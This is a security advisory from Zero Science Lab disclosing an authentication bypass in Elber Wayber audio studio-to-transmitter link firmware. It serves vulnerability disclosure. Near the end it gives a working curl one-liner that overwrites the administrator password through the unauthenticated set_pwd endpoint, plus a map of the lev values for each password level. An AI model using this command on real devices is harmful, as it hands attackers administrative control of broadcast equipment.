Elber Wayber Analog/Digital Audio STL 4.00 Authentication Bypass

`  
Elber Wayber Analog/Digital Audio STL 4.00 Authentication Bypass  
  
  
Vendor: Elber S.r.l.  
Product web page: https://www.elber.it  
Affected version: Version 3.0.0 Revision 1553 (Firmware Ver. 4.00 Rev. 1501)  
Version 3.0.0 Revision 1542 (Firmware Ver. 4.00 Rev. 1516)  
Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1516)  
Version 3.0.0 Revision 1530 (Firmware Ver. 4.00 Rev. 1501)  
Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1350)  
Version 3.0.0 Revision 1480 (Firmware Ver. 3.00 Rev. 1342)  
Version 1.0.0 Revision 1202 (Firmware Ver. 2.00 Rev. 2131)  
  
Summary: Wayber II is the name of an analogue/digital microwave link  
able to transport a Mono or a MPX stereo signal from studio to audio  
transmitter. Compact and reliable, it features very high quality and  
modern technology both in signal processing and microwave section leading  
to outstanding performances.  
  
Desc: The device suffers from an authentication bypass vulnerability through  
a direct and unauthorized access to the password management functionality. The  
issue allows attackers to bypass authentication by manipulating the set_pwd  
endpoint that enables them to overwrite the password of any user within the  
system. This grants unauthorized and administrative access to protected areas  
of the application compromising the device's system security.  
  
--------------------------------------------------------------------------  
/modules/pwd.html  
------------------  
50: function apply_pwd(level, pwd)  
51: {  
52: $.get("json_data/set_pwd", {lev:level, pass:pwd},  
53: function(data){  
54: //$.alert({title:'Operation',text:data});  
55: show_message(data);  
56: }).fail(function(error){  
57: show_message('Error ' + error.status, 'error');  
58: });  
59: }  
  
--------------------------------------------------------------------------  
  
Tested on: NBFM Controller  
embOS/IP  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2024-5822  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5822.php  
  
  
18.08.2023  
  
--  
  
  
$ curl -s http://[TARGET]/json_data/set_pwd?lev=2&pass=admin1234  
  
Ref (lev param):  
  
Level 7 = SNMP Write Community (snmp_write_pwd)  
Level 6 = SNMP Read Community (snmp_read_pwd)  
Level 5 = Custom Password? hidden. (custom_pwd)  
Level 4 = Display Password (display_pwd)?  
Level 2 = Administrator Password (admin_pwd)  
Level 1 = Super User Password (puser_pwd)  
Level 0 = User Password (user_pwd)  
`